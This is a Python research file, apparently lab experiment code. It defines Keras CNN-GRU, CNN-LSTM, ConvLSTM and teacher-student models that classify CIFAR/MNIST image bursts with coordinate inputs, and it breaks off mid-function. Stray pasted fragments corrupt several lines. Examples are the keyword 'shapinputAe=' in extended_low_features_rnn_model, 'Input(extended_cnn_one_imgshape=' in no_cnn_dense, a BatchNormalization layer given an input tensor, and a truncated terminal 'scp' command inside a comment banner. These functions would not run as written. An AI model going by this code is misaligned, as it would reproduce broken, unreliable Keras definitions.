dataframe.append(values_to_add, ignore_index = True) dataframe.to_pickle('/home/labs/ahissarlab/orra/imagewalker/cifar_net_search/{}'.format(file_name)) ####################################################################################################################### ############################### KERAS NETWORKS ######################################################################## ############################### #####################################(base) orram@orram-Latitude-3400:~$ scp /home/orram/Docum################################### ####################################################################################################################### def rnn_model(n_timesteps = 5, cell_size = 128, input_size = 28,input_dim = 3, concat = True): inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,input_dim)) inputB = keras.layers.Input(shape=(n_timesteps,2)) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(inputA) print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu'))(x1) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(x1) print(x1.shape) # x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) # print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) if concat: x = keras.layers.Concatenate()([x1,inputB]) else: x = x1 print(x.shape) # define LSTM model x = keras.layers.GRU(cell_size,input_shape=(n_timesteps, None),return_sequences=False)(x) print(x.shape) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'rnn_model_{}'.format(concat)) opt=tf.keras.optimizers.Adam(lr=1e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def extended_rnn_model(n_timesteps = 5, hidden_size = 128,input_size = 32, concat = True): ''' CNN RNN combination that extends the CNN to a network that achieves ~80% accuracy on full res cifar. Parameters ---------- n_timesteps : TYPE, optional DESCRIPTION. The default is 5. img_dim : TYPE, optional DESCRIPTION. The default is 32. hidden_size : TYPE, optional DESCRIPTION. The default is 128. input_size : TYPE, optional DESCRIPTION. The default is 32. Returns ------- model : TYPE DESCRIPTION. ''' inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,3)) inputB = keras.layers.Input(shape=(n_timesteps,2)) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu', padding = 'same'))(inputA) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(0.2))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(64,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(64,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(0.2))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(0.2))(x1) print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) if concat: x = keras.layers.Concatenate()([x1,inputB]) else: x = x1 print(x.shape) # define LSTM model x = keras.layers.GRU(hidden_size,input_shape=(n_timesteps, None),return_sequences=True)(x) x = keras.layers.Flatten()(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'extended_rnn_model_{}'.format(concat)) opt=tf.keras.optimizers.Adam(lr=1e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def rnn_model_dense(n_timesteps = 5, gru_size = 128): inputA = keras.layers.Input(shape=(n_timesteps,28,28,1)) inputB = keras.layers.Input(shape=(n_timesteps,2)) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(inputA) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu'))(x1) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(x1) print(x1.shape) # x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) # print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) x = keras.layers.Concatenate()([x1,inputB]) print(x.shape) x=keras.layers.TimeDistributed(keras.layers.Dense(x.shape[2]))(x) print(x.shape) # define LSTM model x = keras.layers.GRU(gru_size,input_shape=(n_timesteps, None),return_sequences=False)(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'rnn_model_dense') opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def rnn_model_concat_conv(n_timesteps = 5, gru_size = 128): #NEED TO DO inputA = keras.layers.Input(shape=(n_timesteps,28,28,1)) inputB = keras.layers.Input(shape=(n_timesteps,2)) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(inputA) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu'))(x1) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(x1) x2=keras.layers.TimeDistributed(keras.layers.Conv2D(5,(3,3),activation='relu'))(np.ones([3,3,5])) print(x2.shape) print(x1.shape) print(inputB[:,:,0].shape) print(inputB[:,:,0]*np.ones([3,3,5]).shape) x1 = keras.layers.Concatenate(axis = 4)([x1,inputB*np.ones([3,3,2])]) print(x1.shape) # x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) # print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) x = x1 print(x.shape) x=keras.layers.TimeDistributed(keras.layers.Dense(x.shape[2]))(x) print(x.shape) # define LSTM model x = keras.layers.GRU(gru_size,input_shape=(n_timesteps, None),return_sequences=False)(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'rnn_model_concat_conv') opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def rnn_model_concat_same_length(n_timesteps = 5, gru_size = 128): # NEED TO DO! inputA = keras.layers.Input(shape=(n_timesteps,28,28,1)) inputB = keras.layers.Input(shape=(n_timesteps,2)) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(inputA) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu'))(x1) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(x1) print(x1.shape) # x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) # print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) x2 = keras.layers.Concatenate()([inputB,inputB]) for i in range(x1.shape[-1]//2 - x2.shape[-1]): x2 = keras.layers.Concatenate()([x2,inputB]) print(x2.shape) x = keras.layers.Concatenate()([x1,x2]) print(x.shape) x=keras.layers.TimeDistributed(keras.layers.Dense(x.shape[2]))(x) print(x.shape) # define LSTM model x = keras.layers.GRU(gru_size,input_shape=(n_timesteps, None),return_sequences=False)(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'rnn_model_concat_same_length') opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"] ) return model def simple_vanila_model(n_timesteps = 5, cell_size = 128): inputA = keras.layers.Input(shape=(n_timesteps,28,28,1)) inputB = keras.layers.Input(shape=(n_timesteps,2)) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(inputA) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu'))(x1) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(x1) print(x1.shape) # x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) # print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) x = x1 print(x.shape) # define LSTM model x = keras.layers.SimpleRNN(cell_size,input_shape=(n_timesteps, None),return_sequences=False)(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'simple_vanila_model') opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def cnn_one_img(n_timesteps = 5, input_size = 28, input_dim = 1): inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,input_dim)) inputB = keras.layers.Input(shape=(n_timesteps,2)) print(inputA[:,0,:,:,:].shape) # define CNN model x1=keras.layers.Conv2D(16,(3,3),activation='relu')(inputA[:,0,:,:,:]) x1=keras.layers.BatchNormalization()(x1) x1=keras.layers.MaxPooling2D(pool_size=(2, 2))(x1) x1=keras.layers.Conv2D(32,(3,3),activation='relu')(x1) x1=keras.layers.BatchNormalization()(x1) x1=keras.layers.MaxPooling2D(pool_size=(2, 2))(x1) x1=keras.layers.Conv2D(16,(3,3),activation='relu')(x1) print(x1.shape) # x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) # print(x1.shape) x1=keras.layers.Flatten()(x1) print(x1.shape) x = keras.layers.Dense(10,activation="softmax")(x1) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'cnn_one_img') opt=tf.keras.optimizers.Adam(lr=1e-4) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def extended_cnn_one_img(n_timesteps = 5, input_size = 32 ,dropout = 0.2): ''' Takes only the first image from the burst and pass it trough a net that aceives ~80% accuracy on full res cifar. ''' inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,3)) inputB = keras.layers.Input(shape=(n_timesteps,2)) print(inputA[:,0,:,:,:].shape) # define CNN model index = np.random.randint(0,n_timesteps) x1=keras.layers.Conv2D(32,(3,3),activation='relu', padding = 'same')(inputA[:,index,:,:,:]) print(x1.shape) x1=keras.layers.Conv2D(32,(3,3),activation='relu', padding = 'same')(x1) x1=keras.layers.MaxPooling2D(pool_size=(2, 2))(x1) x1=keras.layers.Dropout(dropout)(x1) x1=keras.layers.Conv2D(64,(3,3),activation='relu', padding = 'same')(x1) x1=keras.layers.Conv2D(64,(3,3),activation='relu', padding = 'same')(x1) x1=keras.layers.MaxPooling2D(pool_size=(2, 2))(x1) x1=keras.layers.Dropout(dropout)(x1) x1=keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same')(x1) x1=keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same')(x1) x1=keras.layers.MaxPooling2D(pool_size=(2, 2))(x1) x1=keras.layers.Dropout(dropout)(x1) print(x1.shape) # x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) # print(x1.shape) x1 = keras.layers.Flatten()(x1) x1 = keras.layers.Dense(10,activation="softmax")(x1) print(x1.shape) model = keras.models.Model(inputs=[inputA,inputB],outputs=x1, name = 'extended_cnn_one_img') opt=tf.keras.optimizers.Adam(lr=1e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def low_features_rnn_model(n_timesteps = 5, cell_size = 128, input_size = 32, concat = True, low_cat = False): inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,3)) inputB = keras.layers.Input(shape=(n_timesteps,2)) h_coor = 0 hold_slices = [] gru1 = keras.layers.GRU(4*4*16,input_shape=(n_timesteps, None),return_sequences=True) for i in range(8): v_coor =0 v_slices = [] for j in range(8): slice_ = inputA[:,:,v_coor:v_coor+4,h_coor:h_coor+4,:] slice_ = keras.layers.TimeDistributed(keras.layers.Flatten())(slice_) if low_cat: slice_ = keras.layers.Concatenate()([slice_, inputB]) slice_ = gru1(slice_) #print(slice_.shape) slice_ = keras.layers.Reshape((n_timesteps, 4, 4, 16))(slice_) #print(slice_.shape) v_slices.append(slice_) v_coor += 4 h_coor += 4 hold_slices.append(v_slices) h = [] for v_slice in hold_slices: v = keras.layers.Concatenate(axis = 2)(v_slice) #print(v.shape) h.append(v) h = keras.layers.Concatenate(axis = 3)(h) print(h.shape) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(h) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization())(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu'))(x1) x1=keras.layers.TimeDistributed(keras.layers.BatchNormalization(inputA))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(16,(3,3),activation='relu'))(x1) print(x1.shape) # x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) # print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) if concat: x = keras.layers.Concatenate()([x1,inputB]) else: x = x1 print(x.shape) # define LSTM model x = keras.layers.GRU(cell_size,input_shape=(n_timesteps, None),return_sequences=False)(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'low_features_rnn_model_{}_{}'.format(concat,low_cat)) opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def extended_low_features_rnn_model(n_timesteps = 5, cell_size = 128, input_size = 32, concat = True, low_cat = False): inputA = keras.layers.Input(shapinputAe=(n_timesteps,input_size,input_size,3)) inputB = keras.layers.Input(shape=(n_timesteps,2)) h_coor = 0 hold_slices = [] gru1 = keras.layers.GRU(4*4*16,input_shape=(n_timesteps, None),return_sequences=True) for i in range(8): v_coor =0 v_slices = [] for j in range(8): slice_ = inputA[:,:,v_coor:v_coor+4,h_coor:h_coor+4,:] slice_ = keras.layers.TimeDistributed(keras.layers.Flatten())(slice_) if low_cat: slice_ = keras.layers.Concatenate()([slice_, inputB]) slice_ = gru1(slice_) #print(slice_.shape) slice_ = keras.layers.Reshape((n_timesteps, 4, 4, 16))(slice_) #print(slice_.shape) v_slices.append(slice_) v_coor += 4 h_coor += 4 hold_slices.append(v_slices) h = [] for v_slice in hold_slices: v = keras.layers.Concatenate(axis = 2)(v_slice) #print(v.shape) h.append(v) h = keras.layers.Concatenate(axis = 3)(h) print(h.shape) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu', padding = 'same'))(h) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(0.2))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(64,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(64,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(0.2))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(0.2))(x1) print(x1.shape) # x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) # print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) if concat: x = keras.layers.Concatenate()([x1,inputB]) else: x = x1 print(x.shape) # define LSTM model x = keras.layers.GRU(cell_size,input_shape=(n_timesteps, None),return_sequences=False)(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'extended_low_features_rnn_model_{}_{}'.format(concat,low_cat)) opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def no_cnn(n_timesteps = 5, cell_size = 128, input_size = 28,input_dim = 1, concat = True): inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,input_dim)) inputB = keras.layers.Input(shape=(n_timesteps,2)) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(inputA) print(x1.shape) if concat: x = keras.layers.Concatenate()([x1,inputB]) else: x = x1 print(x.shape) # define LSTM model x = keras.layers.GRU(cell_size,input_shape=(n_timesteps, None),return_sequences=False, recurrent_dropout=0.1)(x) print(x.shape) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'no_cnn_{}'.format(concat)) opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def no_cnn_dense(n_timesteps = 5, cell_size = 128, input_size = 28,input_dim = 1, concat = True): inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,input_dim)) inputB = keras.layers.Input(extended_cnn_one_imgshape=(n_timesteps,2)) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(inputA) print(x1.shape) if concat: x = keras.layers.Concatenate()([x1,inputB]) else: x = x1 print(x.shape) x = keras.layers.TimeDistributed(keras.layers.Dense(cell_size,activation="relu"))(x) # define LSTM model x = keras.layers.GRU(cell_size,input_shape=(n_timesteps, None),return_sequences=False, recurrent_dropout=0.1)(x) print(x.shape) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'no_cnn_dense_{}'.format(concat)) opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def no_cnn_low_features_model(n_timesteps = 5, cell_size = 128, input_size = 32, input_dim = 3,concat = True, low_cat = False): inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,input_dim)) inputB = keras.layers.Input(shape=(n_timesteps,2)) h_coor = 0 hold_slices = [] gru1 = keras.layers.GRU(4*4*16,input_shape=(n_timesteps, None),return_sequences=True) print(inputA.shape) for i in range(4): v_coor =0 v_slices = [] for j in range(4): slice_ = inputA[:,:,v_coor:v_coor+1,h_coor:h_coor+1,:] print(v_coor+1) slice_ = keras.layers.TimeDistributed(keras.layers.Flatten())(slice_) if low_cat: slice_ = keras.layers.Concatenate()([slice_, inputB]) slice_ = gru1(slice_) #print(slice_.shape) slice_ = keras.layers.Reshape((n_timesteps, 1, 1, 4*4*16))(slice_) #print(slice_.shape)cnn_dropout v_slices.append(slice_) v_coor += 1 h_coor += 1 hold_slices.append(v_slices) h = [] for v_slice in hold_slices: v = keras.layers.Concatenate(axis = 2)(v_slice) #print(v.shape) h.append(v) h = keras.layers.Concatenate(axis = 3)(h) print('h shape:', h.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(h) print(x1.shape) if concat: x = keras.layers.Concatenate()([x1,inputB]) else: x = x1 print('x',x.shape) x = keras.layers.TimeDistributed(keras.layers.Dense(cell_size,activation="relu"))(x) # define GRU model x = keras.layers.GRU(cell_size,input_shape=(n_timesteps, None),return_sequences=False, recurrent_dropout=0.2)(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'low_features_rnn_model_{}_{}'.format(concat,low_cat)) opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def low_features_middle_cnn_model(n_timesteps = 5, cell_size = 128, input_size = 32, input_dim = 3,concat = True, low_cat = False): ''' concat = True, low_cat = False GRU cell = 4*4*16 dropout_cnn = 0.2, dropout_rnn = 0.2 RESULTS = 57 train 54 val ''' inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,input_dim)) inputB = keras.layers.Input(shape=(n_timesteps,2)) h_coor = 0 hold_slices = [] gru1 = keras.layers.GRU(4*4*16,input_shape=(n_timesteps, None),return_sequences=True) print(inputA.shape) for i in range(4): v_coor =0 v_slices = [] for j in range(4): slice_ = inputA[:,:,v_coor:v_coor+1,h_coor:h_coor+1,:] slice_ = keras.layers.TimeDistributed(keras.layers.Flatten())(slice_) if low_cat: slice_ = keras.layers.Concatenate()([slice_, inputB]) slice_ = gru1(slice_) #print(slice_.shape) slice_ = keras.layers.Reshape((n_timesteps, 1, 1, 4*4*16))(slice_) #print(slice_.shape) v_slices.append(slice_) v_coor += 1 h_coor += 1 hold_slices.append(v_slices) h = [] for v_slice in hold_slices: v = keras.layers.Concatenate(axis = 2)(v_slice) #print(v.shape) h.append(v) h = keras.layers.Concatenate(axis = 3)(h) print('h shape:', h.shape) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same'))(h) x1=keras.layers.TimeDistributed(keras.layers.Dropout(0.2))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(0.2))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(64,(3,3),activation='relu', padding = 'same'))(x1) print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) if concat: x = keras.layers.Concatenate()([x1,inputB]) else: x = x1 print('x',x.shape) x = keras.layers.TimeDistributed(keras.layers.Dense(cell_size,activation="relu"))(x) # define GRU model x = keras.layers.GRU(cell_size,input_shape=(n_timesteps, None),return_sequences=False, recurrent_dropout=0.2)(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'low_features_rnn_model_{}_{}'.format(concat,low_cat)) opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def convgru(n_timesteps = 5, cell_size = 128, input_size = 28,input_dim = 1, concat = False): inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,input_dim)) inputB = keras.layers.Input(shape=(n_timesteps,2)) # define LSTM model x = keras.layers.ConvLSTM2D(cell_size, 2, dropout = 0.2, recurrent_dropout=0.1, return_sequences=True)(inputA) print(x.shape) # x = keras.layers.ConvLSTM2D(cell_size, 2, dropout = 0.2, recurrent_dropout=0.1, return_sequences=True)(x) # print(x.shape) x = keras.layers.ConvLSTM2D(cell_size, 2, dropout = 0.2, recurrent_dropout=0.1, return_sequences=True)(x) print(x.shape) x = keras.layers.Flatten()(x) print(x.shape) if concat: x = keras.layers.Concatenate()([x,inputB]) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'ConvLSTM_{}'.format(concat)) opt=tf.keras.optimizers.Adam(lr=3e-3) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model def cnn_lstm(n_timesteps = 5, hidden_size = 128,input_size = 32, concat = True, cnn_dropout = 0.4, rnn_dropout = 0.2): ''' CNN RNN combination that extends the CNN to a network that achieves ~80% accuracy on full res cifar. Parameters ---------- n_timesteps : TYPE, optional DESCRIPTION. The default is 5. img_dim : TYPE, optional DESCRIPTION. The default is 32. hidden_size : TYPE, optional DESCRIPTION. The default is 128. input_size : TYPE, optional DESCRIPTION. The default is 32. Returns ------- model : TYPE DESCRIPTION. ''' inputA = keras.layers.Input(shape=(n_timesteps,input_size,input_size,3)) inputB = keras.layers.Input(shape=(n_timesteps,2)) # define CNN model x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu', padding = 'same'))(inputA) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(32,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(cnn_dropout))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(64,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(64,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(cnn_dropout))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.Conv2D(128,(3,3),activation='relu', padding = 'same'))(x1) x1=keras.layers.TimeDistributed(keras.layers.MaxPooling2D(pool_size=(2, 2)))(x1) x1=keras.layers.TimeDistributed(keras.layers.Dropout(cnn_dropout))(x1) print(x1.shape) x1=keras.layers.TimeDistributed(keras.layers.Flatten())(x1) print(x1.shape) if concat: x = keras.layers.Concatenate()([x1,inputB]) else: x = x1 print(x.shape) # define LSTM model x = keras.layers.LSTM(hidden_size,input_shape=(n_timesteps, None),return_sequences=True,recurrent_dropout=rnn_dropout)(x) x = keras.layers.Flatten()(x) x = keras.layers.Dense(10,activation="softmax")(x) model = keras.models.Model(inputs=[inputA,inputB],outputs=x, name = 'cnn_lstm_{}'.format(concat)) opt=tf.keras.optimizers.Adam(lr=5e-4) model.compile( optimizer=opt, loss="sparse_categorical_crossentropy", metrics=["sparse_categorical_accuracy"], ) return model ############################################################################################################3 ############################# TEACHER STUDENT NETWORKS ##################################################### ############################################################################################################ def HRcnn(input_size = 28, input_dim = 1): inputA = keras.layers.Input(shape=(input_size, input_size, input_dim)) x1 = keras.layers.Conv2D(16, kernel_size = 3, activation = 'relu')(inputA) #x = keras.layers.BatchNormalization()(x) x1 = keras.layers.MaxPool2D()(x1) x1 = keras.layers.Dropout(0.2)(x1) x1 = keras.layers.Conv2D(32, kernel_size = 3, activation = 'relu')(x1) #x = keras.layers.BatchNormalization()(x) x1 = keras.layers.MaxPool2D()(x1) x1 = keras.layers.Dropout(0.2)(x1) x1 = keras.layers.Conv2D(16, kernel_size = 3, activation = 'relu', name = 'teacher_features')(x1) x1 = keras.layers.Dropout(0.2)(x1) x = keras.layers.Flatten()(x1) x = keras.layers.Dense(10, activation = 'softmax')(x) model = keras.models.Model(inputs = inputA, outputs = x, name = 'HR_CNN') opt = tf.keras.optimizers.Adam(lr = 3e-3) model.compile( optimizer = opt, loss = 'sparse_categorical_crossentropy', metrics = ['sparse_categorical_accuracy']) return model # def student_loss(label, teacher_features, student_outpus): # student_features, student_pred = student_outputs # feature_loss = keras def StudentCNN(input_size = 28, input_dim = 1): inputA = keras.layers.Input(shape=(input_size, input_size, input_dim)) x1 = keras.layers.Conv2D(16, kernel_size = 3, activation = 'relu')(inputA) #x = keras.layers.BatchNormalization()(x) x1 = keras.layers.MaxPool2D()(x1) x1 = keras.layers.Dropout(0.2)(x1) x1 = keras.layers.Conv2D(32, kernel_size = 3, activation = 'relu')(x1) 